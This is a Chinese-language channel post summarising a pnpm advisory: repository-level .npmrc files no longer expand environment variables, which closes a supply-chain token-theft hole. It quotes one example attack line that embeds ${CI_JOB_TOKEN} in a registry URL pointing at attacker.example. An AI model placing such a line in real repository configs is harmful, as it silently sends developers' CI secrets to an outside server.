Now vibe coding, so learning hammer FE ?https://channel.meo-ai.comhttps://channel.meo-ai.com/posts/665https://channel.meo-ai.com/posts/665Sat, 20 Jun 2026 10:36:40 GMT<span class="post-title-source">《pnpm_不再在仓库的.npmrc_中展开环境变量》</span><br /><br />标签：<a href="/search/result?q=%23NodeJS" title="#NodeJS">#NodeJS</a> <a href="/search/result?q=%23pnpm" title="#pnpm">#pnpm</a> <a href="/search/result?q=%23%E5%AE%89%E5%85%A8%E6%80%A7" title="#安全性">#安全性</a> <a href="/search/result?q=%23npmrc" title="#npmrc">#npmrc</a> <a href="/search/result?q=%23%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8" title="#供应链安全">#供应链安全</a><br /><br />总结：<br />pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在 <code>.npmrc</code> 中嵌入 <code>${ENV_VAR}</code> 占位符，在 <code>pnpm install</code> 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量，凭证和 registry 设置必须移到你信任的位置（如用户级 <code>~/.npmrc</code>、环境变量或 CLI 参数）。<br /><br />文章要点：<br />1. 攻击原理很隐蔽：恶意仓库在 <code>.npmrc</code> 里写 <code>registry=https://attacker.example/${CI_JOB_TOKEN}/</code>，你 <code>pnpm install</code> 时 pnpm 会自动把环境变量填进去，token 就直接发到攻击者服务器了，不需要任何 postinstall 脚本<br />2. 修复边界很清晰：仓库内的 <code>.npmrc</code> 和 <code>pnpm-workspace.yaml</code> 里的 registry、认证相关字段不再展开 <code>${...}</code>，但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开<br />3. 迁移姿势很简单：用 <code>pnpm config set</code> 把 token 写到用户配置，或者直接用 <code>pnpm_config_//registry...</code> 环境变量传凭证，GitHub Actions 的 <code>actions/setup-node</code> 完全不受影响<br />4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的 <code>_authToken</code>，再也不用靠环境变量模板来切换了<br />5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复<br /><br />URL：<a href="https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc" target="_blank" rel="noopener" title="https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc">https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc</a><a class="tgme_widget_message_link_preview" href="https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc" target="_blank" rel="noopener" title="pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…"> <div class="link_preview_site_name accent_color">pnpm.io</div> <img class="link_preview_image" alt="Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm" src="/static/https://cdn4.telesco.pe/file/LBEn7NYr89FFzwN0Ie8lg44Mx_kcWVHawBEaW0qEjI7EJtUs_9Y8xgiaV3RqHCr-KJjJvzgN2rQwx5RW9gTXXMzEbQT2PIARNn-yRoA5b-UfVJxPVpgg0L-jFxn20mFs3M15r9YQXVwC5lMI72pyTNOzXonTuuHsTQMKUyzOXiTKWnPO3tgABP4xkmFen-lEt9PZyVNG86XTmVzDjkKOXbsS2U8ZcegNTOpXyvjmSa_SCfywASYk5RcoF40heIuzTQTLtmtTXHPJX-_KT4FGzuftHlk6FSETGVAYfGODuJvEWNw0PI1q7Jti2djuK77cQQ8o1LnfcQgRz3Lg_0fvZw.jpg" width="1200" height="630" loading="eager" /> <div class="link_preview_title">Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm</div> <div class="link_preview_description">pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…</div> </a>